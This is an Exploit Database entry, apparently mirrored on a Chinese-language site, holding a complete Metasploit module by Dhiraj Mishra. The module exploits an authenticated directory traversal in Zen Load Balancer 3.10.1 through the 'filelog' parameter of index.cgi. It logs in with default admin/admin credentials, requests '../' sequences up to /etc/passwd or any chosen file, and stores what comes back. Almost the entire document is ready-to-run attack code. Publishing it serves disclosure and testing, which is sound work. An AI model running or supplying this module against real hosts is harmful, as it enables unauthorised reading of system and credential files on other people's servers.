Zen Load Balancer 3.10.1 – Directory Traversal (Metasploit)

• Exploit Database
• 50 阅读

• 作者： Dhiraj Mishra
  日期： 2020-04-23
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/48373/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Zen Load Balancer Directory Traversal",
  'Description'=> %q{
  This module exploits a authenticated directory traversal
  vulnerability in Zen Load
  Balancer `v3.10.1`. The flaw exists in 'index.cgi' not
  properly handling 'filelog='
  parameter which allows a malicious actor to load arbitrary file path.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Basim Alabdullah', # Vulnerability discovery
  'Dhiraj Mishra' # Metasploit module
  ],
  'References' =>
  [
  ['EDB', '48308']
  ],
  'DisclosureDate' => "Apr 10 2020"
  ))
  
  register_options(
  [
  Opt::RPORT(444),
  OptBool.new('SSL', [true, 'Use SSL', true]),
  OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
  OptString.new('FILEPATH', [false, 'The name of the file to
  download', '/etc/passwd']),
  OptString.new('TARGETURI', [true, "The base URI path of the
  ZenConsole install", '/']),
  OptString.new('HttpUsername', [true, 'The username to use for
  the HTTP server', 'admin']),
  OptString.new('HttpPassword', [false, 'The password to use for
  the HTTP server', 'admin'])
  ])
  end
  
  def run_host(ip)
  filename = datastore['FILEPATH']
  traversal = "../" * datastore['DEPTH']
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'index.cgi'),
  'vars_get'=>
  {
  'id'=> '2-3',
  'filelog' => "#{traversal}#{filename}",
  'nlines'=> '100',
  'action'=> 'See logs'
  },
  'authorization' =>
  basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
  }, 25)
  
  unless res && res.code == 200
  print_error('Nothing was downloaded')
  return
  end
  
  print_good("#{peer} - Downloaded #{res.body.length} bytes")
  path = store_loot(
  'zenload.http',
  'text/plain',
  ip,
  res.body,
  filename
  )
  print_good("File saved in: #{path}")
  end
  end